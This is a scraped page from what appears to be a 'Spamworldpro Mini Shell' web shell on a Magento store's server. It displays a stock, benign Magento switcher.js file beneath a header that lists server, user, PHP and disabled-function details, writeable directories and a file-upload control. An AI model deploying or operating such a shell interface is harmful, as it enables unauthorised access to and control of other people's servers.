Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/cartforge.co/pub/static/frontend/Magento/luma/en_US/Magento_Ui/js/form/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/cartforge.co/pub/static/frontend/Magento/luma/en_US/Magento_Ui/js/form/switcher.js
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

/**
 * @api
 */
define([
    'underscore',
    'uiRegistry',
    'uiClass'
], function (_, registry, Class) {
    'use strict';

    return Class.extend({
        defaults: {
            rules: []
        },

        /**
         * Initializes instance of a DataSwitcher.
         *
         * @returns {DataSwitcher} Chainable.
         */
        initialize: function () {
            this._super()
                .initRules();

            return this;
        },

        /**
         *
         * @returns {DataSwitcher} Chainable.
         */
        initRules: function () {
            this.rules.forEach(this.initRule, this);

            return this;
        },

        /**
         *
         * @param {Object} rule - Rule definition.
         * @returns {DataSwitcher} Chainable.
         */
        initRule: function (rule) {
            var handler = this.onValueChange.bind(this, rule);

            if (!rule.target) {
                rule.target = this.target;
            }

            if (!rule.property) {
                rule.property = this.property;
            }

            registry.get(rule.target, function (target) {
                this.applyRule(rule, target.get(rule.property));
                target.on(rule.property, handler);
            }.bind(this));

            return this;
        },

        /**
         *
         * @param {Object} rule - Rule definition.
         * @returns {DataSwitcher} Chainable.
         */
        addRule: function (rule) {
            this.rules.push(rule);
            this.initRule(rule);

            return this;
        },

        /**
         *
         * @param {Object} rule - Rule object.
         * @param {*} value - Current value associated with a rule.
         */
        applyRule: function (rule, value) {
            var actions = rule.actions;

            //TODO Refactor this logic in scope of MAGETWO-48585
            /* eslint-disable eqeqeq */
            if (rule.value != value) {
                return;
            } else if (rule.strict) {
                return;
            }

            /* eslint-enable eqeqeq */
            actions.forEach(this.applyAction, this);
        },

        /**
         *
         * @param {Object} action - Action object.
         */
        applyAction: function (action) {
            registry.get(action.target, function (target) {
                var callback = target[action.callback];

                callback.apply(target, action.params || []);
            });
        },

        /**
         *
         * @param {Object} rule - Rules object.
         * @param {*} value - Current value associated with a rule.
         */
        onValueChange: function (rule, value) {
            this.applyRule(rule, value);
        }
    });
});

Spamworldpro Mini